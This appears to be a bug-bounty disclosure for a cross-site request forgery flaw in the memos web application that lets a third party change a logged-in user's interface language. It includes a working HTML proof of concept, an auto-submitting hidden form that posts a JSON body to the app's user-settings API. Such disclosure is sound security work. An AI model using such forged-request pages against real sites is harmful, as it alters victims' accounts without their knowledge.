Lucene search

K
huntrNehalr777FF6D4B5A-5E75-4A14-B5CE-F318F8613B73
HistoryDec 28, 2022 - 2:44 p.m.

CSRF to change user language preferences

2022-12-2814:44:01
nehalr777
www.huntr.dev
13
csrf attack
user authentication
web application
language preference

0.001 Low

EPSS

Percentile

29.6%

Description

Cross-Site Request Forgery (CSRF) is an attack that forces authenticated users to submit a request to a Web application against which they are currently authenticated. CSRF attacks exploit the trust a Web application has in an authenticated user

Proof of Concept

1) Go to https://demo.usememos.com and login into your account 
2) Save the below CSRF POC as CSRF.html and open the file in the same browser 
3) You will see that the interface language has changed

CSRF POC:

<html>
  
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.usememos.com/api/user/setting" method="POST" enctype="text/plain">
      <input type="hidden" name="{"key":"locale","value":"\"zh\""}" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

0.001 Low

EPSS

Percentile

29.6%

Related for FF6D4B5A-5E75-4A14-B5CE-F318F8613B73